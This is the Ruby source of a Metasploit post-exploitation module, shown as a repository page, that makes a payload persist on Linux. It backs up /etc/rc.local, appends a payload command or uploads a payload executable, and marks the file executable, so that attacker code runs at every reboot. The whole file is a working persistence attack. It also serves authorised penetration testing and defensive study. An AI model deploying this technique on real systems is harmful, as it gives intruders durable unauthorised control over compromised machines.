Path: blob/master/modules/exploits/linux/persistence/rc_local.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::Local::Persistence12include Msf::Auxiliary::Report13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/rc_local_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'rc.local Persistence',22'Description' => %q{23This module will edit /etc/rc.local in order to persist a payload.24The payload will be executed on the next reboot.25Verified on Ubuntu 18.04.326},27'License' => MSF_LICENSE,28'Author' => [ 'Eliott Teissonniere' ],29'Platform' => [ 'unix', 'linux' ],30'Arch' => [31ARCH_CMD,32ARCH_X86,33ARCH_X64,34ARCH_ARMLE,35ARCH_AARCH64,36ARCH_PPC,37ARCH_MIPSLE,38ARCH_MIPSBE39],40'Payload' => {41'BadChars' => '#%\n"'42},43'References' => [44['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]45],46'SessionTypes' => [ 'shell', 'meterpreter' ],47'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.48'Targets' => [ ['Automatic', {}] ],49'Privileged' => true,50'Notes' => {51'Stability' => [CRASH_SAFE],52'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],53'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]54},55'DefaultTarget' => 056)57)58register_options([59OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),60])61end6263def check64print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')65# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no66# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).67# When /etc/rc.local exists, systemctl status rc.local shows active (exited).68# so checking the service status isn't necessarily helpful.69if exists?('/etc/rc.local')70return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')71else72return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')73end7475CheckCode::Appears('/etc/rc.local is writable')76end7778def install_persistence79print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')80rc_path = '/etc/rc.local'8182print_status "Reading #{rc_path}"8384# read /etc/rc.local, but remove `exit 0`85rc_local = '#!/bin/sh'86if exists? rc_path87rc_local = read_file(rc_path).gsub(/^exit.*$/, '')88backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')89print_status("Created /etc/rc.local backup: #{backup_profile_path}")90@clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"91else92@clean_up_rc << "rm #{rc_path}\n"93end9495if payload.arch.first == 'cmd'96# add payload and put back `exit 0`97pload = payload.encoded98pload = "#{pload} &" unless pload.end_with?('&')99rc_local << "\n#{pload}\nexit 0\n"100print_status "Patching #{rc_path}"101else102payload_path = writable_dir103payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"104payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)105payload_path << payload_name106print_status("Uploading payload file to #{payload_path}")107upload_and_chmodx payload_path, generate_payload_exe108rc_local << "\n#{payload_path} &\nexit 0\n"109@clean_up_rc << "rm #{payload_path}\n"110end111112# write new file113write_file(rc_path, rc_local)114chmod(rc_path, 0o755)115116print_good('Payload will be triggered at next reboot')117end118end119120121